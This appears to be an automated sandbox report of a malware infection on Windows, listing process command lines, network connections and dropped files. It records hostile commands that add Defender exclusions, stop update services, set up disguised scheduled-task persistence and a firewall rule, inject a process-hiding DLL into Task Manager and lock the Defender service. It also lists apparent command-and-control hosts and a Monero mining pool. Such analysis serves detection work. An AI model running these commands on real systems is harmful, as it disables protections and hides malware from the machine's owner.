"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd91b846f8,0x7ffd91b84708,0x7ffd91b84718

C:\Users\Admin\AppData\Local\Temp\2A8C.exe

C:\Users\Admin\AppData\Local\Temp\2A8C.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2900 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1848,2173898844250804690,3964381151439255441,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1848,2173898844250804690,3964381151439255441,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3988 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\5CD8.exe

C:\Users\Admin\AppData\Local\Temp\5CD8.exe

C:\Users\Admin\AppData\Local\Temp\source1.exe

"C:\Users\Admin\AppData\Local\Temp\source1.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5328 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4368 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\6FB5.exe

C:\Users\Admin\AppData\Local\Temp\6FB5.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6196 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4372 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\99E3.exe

C:\Users\Admin\AppData\Local\Temp\99E3.exe

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3976 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,6321079079499205408,9866526790691562952,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3976 /prefetch:8

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\windefender.exe

C:\Windows\windefender.exe

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 195.233.44.23.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
US 8.8.8.8:53 135.1.85.104.in-addr.arpa udp
US 8.8.8.8:53 29.68.91.77.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
RU 5.42.65.80:80 5.42.65.80 tcp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
RU 5.42.92.211:80 5.42.92.211 tcp
US 8.8.8.8:53 211.92.42.5.in-addr.arpa udp
FI 77.91.124.1:80 77.91.124.1 tcp
US 8.8.8.8:53 1.124.91.77.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
TR 185.216.70.222:80 185.216.70.222 tcp
US 8.8.8.8:53 222.70.216.185.in-addr.arpa udp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 0.240.123.52.in-addr.arpa udp
NL 157.240.247.35:443 www.facebook.com tcp
NL 157.240.247.35:443 www.facebook.com tcp
US 8.8.8.8:53 35.247.240.157.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 accounts.google.com udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 142.250.179.141:443 accounts.google.com tcp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 static.xx.fbcdn.net udp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
US 8.8.8.8:53 27.30.240.157.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
US 8.8.8.8:53 71.121.18.2.in-addr.arpa udp
MD 176.123.9.142:37637 tcp
US 8.8.8.8:53 142.9.123.176.in-addr.arpa udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.68.143:443 pastebin.com tcp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 play.google.com udp
NL 85.209.176.171:80 85.209.176.171 tcp
NL 142.251.36.14:443 play.google.com tcp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 tak.soydet.top udp
FI 95.217.246.182:8443 tak.soydet.top tcp
US 8.8.8.8:53 143.68.20.104.in-addr.arpa udp
US 8.8.8.8:53 171.176.209.85.in-addr.arpa udp
US 8.8.8.8:53 182.246.217.95.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 facebook.com udp
CZ 157.240.30.35:443 facebook.com tcp
US 8.8.8.8:53 fbcdn.net udp
CZ 157.240.30.35:443 fbcdn.net tcp
US 8.8.8.8:53 35.30.240.157.in-addr.arpa udp
US 8.8.8.8:53 fbsbx.com udp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
FI 77.91.124.1:80 77.91.124.1 tcp
US 8.8.8.8:53 bytecloudasa.website udp
US 8.8.8.8:53 host-file-host6.com udp
US 104.21.61.162:80 bytecloudasa.website tcp
US 8.8.8.8:53 host-host-file8.com udp
NL 194.169.175.127:80 host-host-file8.com tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 8.8.8.8:53 162.61.21.104.in-addr.arpa udp
US 8.8.8.8:53 127.175.169.194.in-addr.arpa udp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 bytecloudasa.website udp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 8.8.8.8:53 39.212.67.172.in-addr.arpa udp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
US 172.67.212.39:80 bytecloudasa.website tcp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 34591464-b6cc-4625-9b1a-1079fa67f05b.uuid.cdntokiog.studio udp
US 8.8.8.8:53 23.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 server2.cdntokiog.studio udp
US 8.8.8.8:53 stun1.l.google.com udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.134.233:443 cdn.discordapp.com tcp
IN 172.253.121.127:19302 stun1.l.google.com udp
BG 185.82.216.49:443 server2.cdntokiog.studio tcp
US 8.8.8.8:53 walkinglate.com udp
US 188.114.97.0:443 walkinglate.com tcp
US 8.8.8.8:53 127.121.253.172.in-addr.arpa udp
US 8.8.8.8:53 233.134.159.162.in-addr.arpa udp
US 8.8.8.8:53 49.216.82.185.in-addr.arpa udp
US 8.8.8.8:53 0.97.114.188.in-addr.arpa udp
US 8.8.8.8:53 xmr-eu1.nanopool.org udp
FR 51.255.34.118:14433 xmr-eu1.nanopool.org tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe

MD5 5208494d2e7540f630d52762bb669331
SHA1 bd88c3918a50611254cb779567176e4087f320ac
SHA256 58cbf15b2bee76cc4c8df034df7f0bd484409f1c2e92ba743702c55d46b67100
SHA512 60300c68fa37fdf639684c0d9c1305b8d4cdcd40ab15fbd98f66dcf313d1b4695397581063034dc034f0aa63005e10021e73cffeeb2975d1f32abb4f2c80b10f

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe

MD5 5208494d2e7540f630d52762bb669331
SHA1 bd88c3918a50611254cb779567176e4087f320ac
SHA256 58cbf15b2bee76cc4c8df034df7f0bd484409f1c2e92ba743702c55d46b67100
SHA512 60300c68fa37fdf639684c0d9c1305b8d4cdcd40ab15fbd98f66dcf313d1b4695397581063034dc034f0aa63005e10021e73cffeeb2975d1f32abb4f2c80b10f

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe

MD5 aab3cb72e45ab20793df93987f57f517
SHA1 086ffd96a2fe20fa5b9e69d6885409fb92576c9d
SHA256 eac76b2556f26ffae62cd4104dd24e629b2aca3398441f3decec751639322c8e
SHA512 721e6494b4964c8743bce9a4a4f8ec5217a86bf0c3ed07f56acea0370ef3c5eccf10592f4f01c4fcf7d88e355a84fafff8f233512047ac77a2f82bfc68989ee3

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe

MD5 aab3cb72e45ab20793df93987f57f517
SHA1 086ffd96a2fe20fa5b9e69d6885409fb92576c9d
SHA256 eac76b2556f26ffae62cd4104dd24e629b2aca3398441f3decec751639322c8e
SHA512 721e6494b4964c8743bce9a4a4f8ec5217a86bf0c3ed07f56acea0370ef3c5eccf10592f4f01c4fcf7d88e355a84fafff8f233512047ac77a2f82bfc68989ee3

memory/5068-14-0x0000000000400000-0x0000000000409000-memory.dmp

memory/5068-15-0x0000000000400000-0x0000000000409000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe

MD5 606d0dc39fac1070d0df38287222cf88
SHA1 d9ed2711ac5b9ae6a1685ecc6d0d2f1fee53424f
SHA256 511a8f3fd066d91c00d3eb14d2d9e07309eb8bc03d77b4bbefe116c66ccad489
SHA512 862c67d27d6f414512c54da8a0de194289f727c76640bcf4209af4a7b67291162c7edb0492bd37aebf4ce8f7a09391c39f0c5fa42f801b40e8fb9dfb3b18b68b

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe

MD5 606d0dc39fac1070d0df38287222cf88
SHA1 d9ed2711ac5b9ae6a1685ecc6d0d2f1fee53424f
SHA256 511a8f3fd066d91c00d3eb14d2d9e07309eb8bc03d77b4bbefe116c66ccad489
SHA512 862c67d27d6f414512c54da8a0de194289f727c76640bcf4209af4a7b67291162c7edb0492bd37aebf4ce8f7a09391c39f0c5fa42f801b40e8fb9dfb3b18b68b

memory/2628-19-0x0000000000400000-0x0000000000428000-memory.dmp

memory/2628-20-0x0000000000400000-0x0000000000428000-memory.dmp

memory/2628-21-0x0000000000400000-0x0000000000428000-memory.dmp

memory/2628-23-0x0000000000400000-0x0000000000428000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe

MD5 b023422dfbe03632bfe47246fff86a03
SHA1 7edfdebca094e7dd40608ee2223adfa1f2d767de
SHA256 1c9ab6f6baf8af222862809695e81d3480fd36f9c362406bcc6dc1c16e1cf406
SHA512 7ad15deda24dafdf1f5678b4756edc27909124d3a9eb900cdb8c60c28765ca24e28dbcdc771df11e16df7db60cc701497352a108af8778be48a49375dac3d932

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe

MD5 b023422dfbe03632bfe47246fff86a03
SHA1 7edfdebca094e7dd40608ee2223adfa1f2d767de
SHA256 1c9ab6f6baf8af222862809695e81d3480fd36f9c362406bcc6dc1c16e1cf406
SHA512 7ad15deda24dafdf1f5678b4756edc27909124d3a9eb900cdb8c60c28765ca24e28dbcdc771df11e16df7db60cc701497352a108af8778be48a49375dac3d932

memory/3308-27-0x0000000007DC0000-0x0000000007DD6000-memory.dmp

memory/5068-29-0x0000000000400000-0x0000000000409000-memory.dmp

memory/3308-31-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-32-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-35-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-34-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-33-0x0000000008F30000-0x0000000008F40000-memory.dmp

memory/3308-36-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-37-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-40-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-39-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-38-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-42-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-43-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-44-0x0000000009270000-0x0000000009280000-memory.dmp

memory/3308-45-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-46-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-47-0x0000000009270000-0x0000000009280000-memory.dmp

memory/3308-48-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-50-0x0000000008F30000-0x0000000008F40000-memory.dmp

memory/3308-52-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-49-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-54-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

memory/3308-53-0x0000000008AA0000-0x0000000008AB0000-memory.dmp

